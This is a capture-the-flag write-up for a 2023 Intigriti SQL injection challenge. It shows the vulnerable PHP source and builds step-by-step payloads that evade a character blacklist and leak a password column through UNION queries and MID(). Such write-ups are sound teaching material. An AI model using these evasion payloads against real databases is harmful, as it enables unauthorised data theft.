Writeup for Intigriti September Challenge 2023

Source: Intigriti

Table of Contents

Hi all, first time doing a writeup here 😉. This will be the Intigriti September 2023 challenge created by @sgrum0x. I wrote this writeup not just for experienced players but also for newbies. In short, this challenge can be solved by using parentheses for whitespaces filter and get a column without using its name.

Statement

Featuring this month’s challenge will be an SQL injection challenge. At first glance, it is a table containing ID, username, email of some users.

There is also a Show Source button. Upon clicking it, we can have a look at the source code of the challenge.

 1...
 2$max = 10;
 3
 4if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0) {
 5    $max = $_GET['max'];
 6    $words  = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set","=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
 7    foreach ($words as $w) {
 8        if (preg_match("#".preg_quote($w)."#i", $max)) {
 9            exit("H4ckerzzzz");
10        } //no weird chars
11    }       
12}
13
14try{
15  //seen in production
16  $stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");
17  $stmt->execute();
18  $results = $stmt->fetchAll();
19}
20catch(\PDOException $e){
21  exit("ERROR: BROKEN QUERY");
22}
23    /* FYI
24    CREATE TABLE users (
25        id INT AUTO_INCREMENT PRIMARY KEY,
26        name VARCHAR(255) NOT NULL,
27        email VARCHAR(255) UNIQUE NOT NULL,
28        password VARCHAR(255) NOT NULL
29    );
30    */
31?>
32...
33<td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td> 
34<td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
35<td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td> 
36...

Upon reading the source code, I was able to guess that the flag will be in the column password which we need to leak it somehow using `SQL Injection``. So where is the injection point? What are the problems that we need to encounter? Let’s dive deeper.

Overview

First glance

Upon reviewing the source code, we can easily find the SQL Injection endpoint.

1$max = 10;
2...
3$max = $_GET['max'];
4...
5$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");

But it wouldn’t have been a challenge if it was this easy right 🥲? The variable $max must go through a god d@mn filter to be passed to the query.

Filter

Let’s take a look at the filter:

1if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0) {
2    $max = $_GET['max'];
3    $words  = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set","=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
4    foreach ($words as $w) {
5        if (preg_match("#".preg_quote($w)."#i", $max)) {
6            exit("H4ckerzzzz");
7        } //no weird chars
8    }       
9}

In short, there are 2 processes the filter performs:

  • First, it checks the query $_GET['max'] if it is an array and greater than 0.
  • If it satisfies the condition, it assigns $max with the query $_GET['max'], and then it performs a blacklist case insensitive check.

Filter bypass

Number Check

First up, in order to get through the if statement, the max must greater than 0. This is easy as stated in PHP Documentation.

So we only need a number > 0 at the first character of the payload, we’re good to move on.

No whitespaces

Any payloads that contain white space or newline characters are filtered.

Comments for whitespaces will fail as it blocks character /.

There are a few payloads with alternative characters, unicodes that I have tried and failed like: %a0, %09, %0a, ...

There are still other ways.

Taking this from Hacktricks, we may already find the payload we need: ?max=(1)and(1)=(1).

Nice👌.

However, if you apply this right away it would not work as it requires a leading numeric character in the payload. We can use arithmetic operators to utilize this.

Operator * multiply is not filtered. ?max=1*(2)and(1)=(1)

Desired characters are blocked

We can already construct a payload for Union-Based SQL Injection.

The payload for it may be: 1 union select 1,2,password from users

Bad news: "password" has character a “a” which is filtered.

Good news: Hacktricks also offers us another way around.

-- This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Constructing payload

Our union select

Let’s start with making our union select, provided that there are no filters applied.

It would be:

1*2 UNION SELECT 1, 2, password FROM users

Without using a column name

Column "password" is the fourth column of the table users. So the payload from the previous section would be:

1*2 UNION SELECT 1, 2, F.4 FROM (SELECT 1, 2, 3, 4 UNION SELECT * FROM users)F
-- Extracting the fourth column with a table with 4 columns

Combine with no spaces using parentheses

This is a tedious and annoying part to explain so I just leave it right here for you to think about and try:

1*(2)union(SELECT(1),(2),((F.4))from(SELECT(1),(2),(3),(4)union(SELECT*from(users)))F)

Try it out

The payload seems to work pretty well, but the flag should be there right? Unfortunately, no.

The problem is right here:

1<td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td> 
2<td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
3<td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td> 

If our result contains "INTIGRITI" (which is the flag) it will return "REDACTED". 🛐

Final touch

We need to find a function, a string function to be precise, that can make the string contain the word "INTIGRITI" no more.

A few come to mind like: SUBSTR, REVERSE, FORMAT, … but they are all filtered this way or another.

And there’s MID instead of SUBSTR … Wow. Just wow. So to not return the result containing "INTIGRITI", we can use MID(str,2) which skips the first character.

One more thing: You may use LOWER and it still got through and the flag is still correct in this challenge.

Put it all together

OUR final payload after using MID will be:

1*(2)union(SELECT(1),(2),((MID(F.4,2)))from(SELECT(1),(2),(3),(4)union(SELECT*from(users)))F)

Conclusion

Overall, the challenge is quite interesting from my perspective. At first glance, the blacklist may be overwhelming for those who are not familiar with solving CTF challenges. However, with a little bit of searching and trying, failing in the process is a must, the challenge may seem not so tough after all.

Thanks for reading and have a nice day.

P/S: There is a similar challenge on Root-me, check it out

Lê Hoàng
Lê Hoàng
Web Exploitation, Red Teaming

Love to hack and hack to love. Face it all and troll MU fans.